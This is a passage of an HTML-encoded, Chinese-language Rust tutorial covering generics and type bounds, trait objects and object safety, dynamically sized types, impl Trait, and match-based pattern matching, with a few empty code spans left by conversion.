&lt;li&gt;同一个Generic Trait，可以实例化多次并实现在同一个类型上，例如&lt;code&gt;impl Trait&amp;lt;T&amp;gt; for A {}&lt;&#x2F;code&gt;, &lt;code&gt;impl Trait&amp;lt;T&amp;gt; for A {}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Rust的Generic和C++的Template一样，会进行Monomorphization&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Rust的Generic Method不是Duck Typing的，和C++的Template Function不同。必须通过Bounded Type Parameter指定Type Parameter实现了什么Trait，不属于Trait的Method不允许调用。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;首先来看Type Parameter：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;``: 支持多个Type Parameter，并且可以为Type Parameter提供默认值&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Struct&amp;lt;T, _&amp;gt;&lt;&#x2F;code&gt;: 可以用&lt;code&gt;_&lt;&#x2F;code&gt;作为占位符，让Rust进行类型推导&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;``: 支持Bounded Type Parameter，&lt;code&gt;T&lt;&#x2F;code&gt;必须实现&lt;code&gt;Trait&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;``: 支持多个Type Bound，结尾可以加一个加号（可选）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;``: Type Parameter默认要求实现&lt;code&gt;Sized&lt;&#x2F;code&gt;，可以通过&lt;code&gt;?Sized&lt;&#x2F;code&gt;解除该限制，对其他Trait而言&lt;code&gt;?Trait&lt;&#x2F;code&gt;是Nop&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;where T: Trait + Display&lt;&#x2F;code&gt;: 也可以通过&lt;code&gt;where&lt;&#x2F;code&gt;子句来指定Type Bound&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fn f&amp;lt;T&amp;gt;(x: T) where T: Debug {}&lt;&#x2F;code&gt;: &lt;code&gt;where&lt;&#x2F;code&gt;子句跟在类型声明的末尾，比全都写在&lt;code&gt;&amp;lt;&amp;gt;&lt;&#x2F;code&gt;内更清晰&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;利用Bounded Type Parameter，我们可以为Struct&#x2F;Enum进行Specialization&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;impl&amp;lt;T: Trait&amp;gt; Point&amp;lt;T&amp;gt; {}&lt;&#x2F;code&gt;可以为&lt;code&gt;Pointer&amp;lt;T: Trait&amp;gt;&lt;&#x2F;code&gt;进行Specialization&lt;&#x2F;li&gt;
&lt;li&gt;在Rust中，这称为&lt;em&gt;Blanket Implementation&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过Simple Path不能确定目标时，就需要使用Type Parameter来进一步区分，若还不能区分则需要使用Fully Qualified Path：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，Path分为Path in Expression和Path in Type&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Path in Expression必须使用&lt;code&gt;A::&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;来确定&lt;code&gt;A&lt;&#x2F;code&gt;的Type Parameter&lt;&#x2F;li&gt;
&lt;li&gt;Path in Type可以使用&lt;code&gt;A&lt;&#x2F;code&gt;或&lt;code&gt;A::&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Path in Expression是指出现在表达式中的Path，为了防止和&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;号混淆必须使用&lt;code&gt;::&lt;&#x2F;code&gt;，例如&lt;code&gt;Vec::&amp;lt;u8&amp;gt;::with_capacity(1024)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;其次，在&lt;code&gt;trait&lt;&#x2F;code&gt;和&lt;code&gt;impl&lt;&#x2F;code&gt;中可以使用&lt;code&gt;Self&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在&lt;code&gt;trait&lt;&#x2F;code&gt;中指实现了该Trait的类型&lt;&#x2F;li&gt;
&lt;li&gt;在&lt;code&gt;impl&lt;&#x2F;code&gt;中指&lt;code&gt;impl A&lt;&#x2F;code&gt;, &lt;code&gt;impl T for A&lt;&#x2F;code&gt;的&lt;code&gt;A&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;最后，可以通过&lt;code&gt;::&lt;&#x2F;code&gt;指定Qualified Path&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;S::f()&lt;&#x2F;code&gt;调用的是&lt;code&gt;S&lt;&#x2F;code&gt;上的函数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;::f()&lt;&#x2F;code&gt;调用的是Trait &lt;code&gt;T1&lt;&#x2F;code&gt;的函数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;::f()&lt;&#x2F;code&gt;调用的是Trait &lt;code&gt;T2&lt;&#x2F;code&gt;的函数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;where&lt;&#x2F;code&gt;子句的用途实际上比&lt;code&gt;&amp;lt;&amp;gt;&lt;&#x2F;code&gt;更广泛：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;where T::Item: Copy&lt;&#x2F;code&gt;: 可以指定Type Parameter内部的类型的Type Bound&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;trait Circle where Self : Shape {}&lt;&#x2F;code&gt;: 要求实现&lt;code&gt;Circle&lt;&#x2F;code&gt;就必须实现&lt;code&gt;Shape&lt;&#x2F;code&gt;，此时&lt;code&gt;Shape&lt;&#x2F;code&gt;被称为&lt;em&gt;Supertrait&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以简写为&lt;code&gt;trait Circle : Shape {}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;trait A where Self::B: Copy { type B; }&lt;&#x2F;code&gt;: 可以对Trait中的Type Declaration限制Type Bound&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以简写为&lt;code&gt;trait A { type B : Copy; }&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;dynamic-dispatching&quot;&gt;Dynamic Dispatching&lt;&#x2F;h2&gt;
&lt;p&gt;Rust通过&lt;em&gt;trait object&lt;&#x2F;em&gt;进行Dynamic Dispatching：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Trait&lt;&#x2F;code&gt; (deprecated), &lt;code&gt;dyn Trait&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;: 表示trait object类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;dyn Trait + Send + Sync&lt;&#x2F;code&gt;: trait object可以有多个Type Bound，但是除了第一个Type Bound以外必须都是&lt;em&gt;auto trait&lt;&#x2F;em&gt;，并且不能有&lt;code&gt;?Sized&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;auto trait&lt;&#x2F;em&gt;包括&lt;code&gt;Send&lt;&#x2F;code&gt;, &lt;code&gt;Sync&lt;&#x2F;code&gt;, &lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;、&lt;code&gt;RefUnwandSafe&lt;&#x2F;code&gt;和&lt;code&gt;Unpin&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;若Base Trait不同，即使Type Bounds相同，也视为不同的trait object类型，例如&lt;code&gt;dyn Send + Sync&lt;&#x2F;code&gt;和&lt;code&gt;dyn Sync + Send&lt;&#x2F;code&gt;不同&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;trait object同Slice一样，都属于&lt;em&gt;Dynamically Sized Type&lt;&#x2F;em&gt;，必须通过引用、裸指针或智能指针访问，例如&lt;code&gt;&amp;amp;dyn Trait&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这是因为trait object的大小无法在编译时获知，因此也就无法分配在栈上&lt;&#x2F;li&gt;
&lt;li&gt;trait object的引用实现为Fat Pointer，除包含一个指向trait object的指针外，还包含一个指向其vtable的指针&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;编译器会自动为trait object实现其Base Trait，因此总是有&lt;code&gt;dyn T: T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;你可以为&lt;code&gt;dyn T&lt;&#x2F;code&gt;提供&lt;code&gt;impl dyn T {}&lt;&#x2F;code&gt;，此时trait object表现得就好像普通的struct一样&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在一定条件下，编译器会自动实现auto trait，这就是为什么它们被叫做auto trait：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;T&lt;&#x2F;code&gt;实现了某auto trait，则&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;, &lt;code&gt;*const T&lt;&#x2F;code&gt;, &lt;code&gt;*mut T&lt;&#x2F;code&gt;, &lt;code&gt;[T; n]&lt;&#x2F;code&gt;, &lt;code&gt;[T]&lt;&#x2F;code&gt;也会自动实现该auto trait&lt;&#x2F;li&gt;
&lt;li&gt;若所有field都实现了某auto trait，则struct、enum、union（详见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tcbbd.moe&#x2F;lang&#x2F;rust&#x2F;#the-unsafe-world&quot;&gt;unsafe&lt;&#x2F;a&gt;一节）、tuple也会自动实现该auto trait&lt;&#x2F;li&gt;
&lt;li&gt;函数和函数指针类型会自动实现所有auto trait，Closure则会实现其所有capture共同实现了的auto trait&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  若已经提供了auto trait的Generic实现，则上述规则的优先级低于Generic实现，不满足Generic实现的Type Bound则不会自动实现auto trait&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;现在我们可以总结一下&lt;em&gt;Dynamically Sized Type&lt;&#x2F;em&gt; (DST)：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;slice和trait object都属于DST&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将DST作为Struct的最后一个Field，则此Struct也将成为DST&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;除了DST，其余所有类型都由编译器实现了&lt;code&gt;Sized&lt;&#x2F;code&gt; Trait&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Generic中类型参数默认是实现了&lt;code&gt;Sized&lt;&#x2F;code&gt;的，即&lt;code&gt;T&lt;&#x2F;code&gt;等价于&lt;code&gt;T: Sized&lt;&#x2F;code&gt;，要想消除该限制要写成&lt;code&gt;T: ?Sized&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;可以为DST实现Trait，即Trait默认没有&lt;code&gt;Self: Sized&lt;&#x2F;code&gt;的限制&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;变量、常量、函数参数都必须是&lt;code&gt;Sized&lt;&#x2F;code&gt;的，即不能使用DST，这就限制了我们必须通过引用、裸指针或智能指针来使用DST&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;只有&lt;em&gt;object safe&lt;&#x2F;em&gt;的Trait才能作为trait object的Base Trait，object safe需要满足以下条件：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;不能有&lt;code&gt;Self: Sized&lt;&#x2F;code&gt;的Type Bound&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若我们允许为&lt;code&gt;trait T: Sized {}&lt;&#x2F;code&gt;创建trait object，则由于&lt;code&gt;dyn T&lt;&#x2F;code&gt;是DST，没有实现&lt;code&gt;Sized&lt;&#x2F;code&gt;（即&lt;code&gt;dyn T: ?Sized&lt;&#x2F;code&gt;），故&lt;code&gt;dyn T: T&lt;&#x2F;code&gt;必不成立，这是自相矛盾的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;所有的supertrait也都是object safe的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Method可以标记为&lt;code&gt;where Self: Sized&lt;&#x2F;code&gt;，此时表示该Method对trait object不可用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;否则，必须满足以下条件&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;不能返回&lt;code&gt;Self&lt;&#x2F;code&gt;类型，也不能使用&lt;code&gt;Self&lt;&#x2F;code&gt;类型作为参数&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因为&lt;code&gt;dyn T&lt;&#x2F;code&gt;类型作为DST，不能作为函数参数，也不能作为返回值被赋值给其他变量&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;不能是Generic Function&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若将Generic Function的实例化也加入vtable，则vtable的大小将迅速膨胀，大量不必要的函数Specialization将会被生成，支持Generic Function因此被认为是不切实际的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;不能是Static Method&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因为没有&lt;code&gt;self&lt;&#x2F;code&gt;指针，就没有vtable，仅凭&lt;code&gt;&amp;lt;dyn T as T&amp;gt;::foo()&lt;&#x2F;code&gt;并不能确定具体的&lt;code&gt;foo&lt;&#x2F;code&gt;实例&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;不能有Constant成员&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因为Fat Pointer只包含了vtable，不能容纳constant&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;supertrait中不能出现&lt;code&gt;Self&lt;&#x2F;code&gt;作为Type Parameter&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;考虑&lt;code&gt;trait Super&amp;lt;A&amp;gt; {}; trait T: Super&amp;lt;Self&amp;gt; {};&lt;&#x2F;code&gt;，若&lt;code&gt;Super&amp;lt;A&amp;gt;&lt;&#x2F;code&gt;有一个Method返回&lt;code&gt;A&lt;&#x2F;code&gt;，则&lt;code&gt;T&lt;&#x2F;code&gt;将继承一个函数返回&lt;code&gt;Self&lt;&#x2F;code&gt;，这是不可接受的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;此外，我们还有&lt;code&gt;impl Trait&lt;&#x2F;code&gt;类型，当我们需要一个opaque的static type时可以使用&lt;code&gt;impl Trait&lt;&#x2F;code&gt;，它只能用在两个地方：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;函数的参数的类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此时&lt;code&gt;fn f(x: impl Trait)&lt;&#x2F;code&gt;和&lt;code&gt;fn f&amp;lt;T: Trait&amp;gt;(x: T)&lt;&#x2F;code&gt;等价，对于不同类型的&lt;code&gt;x&lt;&#x2F;code&gt;，都会实例化为不同的Specialization&lt;&#x2F;li&gt;
&lt;li&gt;但使用&lt;code&gt;impl Trait&lt;&#x2F;code&gt;时，所有的Specialization都共享函数名&lt;code&gt;f&lt;&#x2F;code&gt;，而使用Generic时每个Specialization都有自己的函数名&lt;code&gt;f::&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;函数的返回值的类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;适用于返回Closure，因为Closure的类型无法显式指定&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;impl Trait&lt;&#x2F;code&gt;只能对应于一个Concrete Type（即并不支持任何意义上的多态），它可以理解为一种Existential Type&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果函数不是Generic的，且参数没有&lt;code&gt;impl Trait&lt;&#x2F;code&gt;，则返回的始终是同一个Concrete Type&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;pattern-matching&quot;&gt;Pattern Matching&lt;&#x2F;h2&gt;
&lt;p&gt;我们可以使用&lt;code&gt;match&lt;&#x2F;code&gt;进行Pattern Matching：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;match expr {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pattern =&amp;gt; expr,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    _ =&amp;gt; (),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;被Match的&lt;code&gt;expr&lt;&#x2F;code&gt;称为&lt;em&gt;scrutinee&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若它是&lt;em&gt;Value Expression&lt;&#x2F;em&gt;（即rvalue），则会创建一个临时变量，Pattern中的变量都绑定到该临时变量&lt;&#x2F;li&gt;
&lt;li&gt;若它是&lt;em&gt;Place Expression&lt;&#x2F;em&gt;（即lvalue），则Pattern中的变量都直接绑定到该lvalue&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;上述含有&lt;code&gt;=&amp;gt;&lt;&#x2F;code&gt;的每一项称为一个&lt;em&gt;Arm&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Arm返回一个Expression则要加逗号，返回一个Block则不需要加逗号&lt;&#x2F;li&gt;
&lt;li&gt;最后一个Arm可以加逗号（可选）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;| pat1 | pat2 =&amp;gt; {}&lt;&#x2F;code&gt;: 可以由多个Pattern构成一个Arm，开头可以加一个&lt;code&gt;|&lt;&#x2F;code&gt;（可选）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用于绑定的变量，必须出现在一个Arm的所有Pattern中，并且以同样方式绑定（例如都按值绑定）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;pattern if expr =&amp;gt; expr&lt;&#x2F;code&gt;: 可以添加一个&lt;code&gt;if expr&lt;&#x2F;code&gt;作为&lt;em&gt;match guard&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于一个Arm有多个Pattern的情况，match guard可以执行多次，每次失败后就尝试匹配下一个Pattern&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Pattern Matching是exhaustive的，必须列举所有可能性，因此通常使用&lt;code&gt;_ =&amp;gt; {}&lt;&#x2F;code&gt;表示Default Arm&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;if let&lt;&#x2F;code&gt;是&lt;code&gt;match&lt;&#x2F;code&gt;的语法糖，&lt;code&gt;if let pattern1 | pattern2 = expr {} else {}&lt;&#x2F;code&gt;等价于以下&lt;code&gt;match&lt;&#x2F;code&gt;语句：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;match expr {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pattern1 | pattern2 =&amp;gt; {},&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    _ =&amp;gt; {}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;while let&lt;&#x2F;code&gt;是&lt;code&gt;match&lt;&#x2F;code&gt;的另一个语法糖，&lt;code&gt;while let pattern1 | pattern2 = expr { body }&lt;&#x2F;code&gt;等价于以下语句：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;loop {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    match expr {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        pattern1 | pattern2 =&amp;gt; { body },&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        _ =&amp;gt; break,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Pattern还能用来进行&lt;em&gt;destructuring&lt;&#x2F;em&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;for pattern in expr&lt;&#x2F;code&gt;: 例如&lt;code&gt;for (index, value) in v.iter().enumerate()&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;let pattern = expr&lt;&#x2F;code&gt;: 例如&lt;code&gt;let (x, y) = (3, 4)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;fn f(pattern: type)&lt;&#x2F;code&gt;: 函数以及Closure的参数也可以使用Pattern，例如&lt;code&gt;&amp;amp;(x, y): &amp;amp;(i32, i32)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Pattern分为&lt;em&gt;refutable&lt;&#x2F;em&gt;和&lt;em&gt;irrefutable&lt;&#x2F;em&gt;两种，在上述三种语法中Pattern必须是irrefutable即必然匹配成功的，而在&lt;code&gt;match&lt;&#x2F;code&gt;、&lt;code&gt;if let&lt;&#x2F;code&gt;、&lt;code&gt;while let&lt;&#x2F;code&gt;中则必须是refutable的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Pattern的语法如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;true,1,-1,&quot;string&quot;&lt;&#x2F;code&gt;: Literal Pattern，即直接指定一个值，类似传统的switch语句的用法&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;A::B::x&lt;&#x2F;code&gt;: Path Pattern，只允许引用Constant、&lt;em&gt;unit-like&lt;&#x2F;em&gt; Struct和&lt;em&gt;unit-like&lt;&#x2F;em&gt; Enum Variant&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x27;a&#x27;..=&#x27;z&#x27;&lt;&#x2F;code&gt;, &lt;code&gt;1...10&lt;&#x2F;code&gt;: Range Pattern，只能用于整数类型和&lt;code&gt;char&lt;&#x2F;code&gt;类型，范围是&lt;code&gt;[LHS, RHS]&lt;&#x2F;code&gt;，&lt;code&gt;..=&lt;&#x2F;code&gt;和&lt;code&gt;...&lt;&#x2F;code&gt;含义相同（后者现已Deprecated）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;_&lt;&#x2F;code&gt;: Wildcard Pattern，可以match一个任意值&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;pattern&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;mut pattern&lt;&#x2F;code&gt;: Reference Pattern，解引用被Match的对象（&lt;em&gt;scrutinee&lt;&#x2F;em&gt;），绑定到&lt;code&gt;pattern&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;em&gt;scrutinee&lt;&#x2F;em&gt;的类型是immutable reference，则必须使用&lt;code&gt;&amp;amp;pattern&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;若&lt;em&gt;scrutinee&lt;&#x2F;em&gt;的类型是mutable reference，则必须使用&lt;code&gt;&amp;amp;mut pattern&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;即使是&lt;code&gt;&amp;amp;mut x&lt;&#x2F;code&gt;，也不会使&lt;code&gt;x&lt;&#x2F;code&gt;成为mutable变量，即使使用&lt;code&gt;&amp;amp;mut mut x&lt;&#x2F;code&gt;，修改&lt;code&gt;x&lt;&#x2F;code&gt;也不会改变&lt;em&gt;scrutinee&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
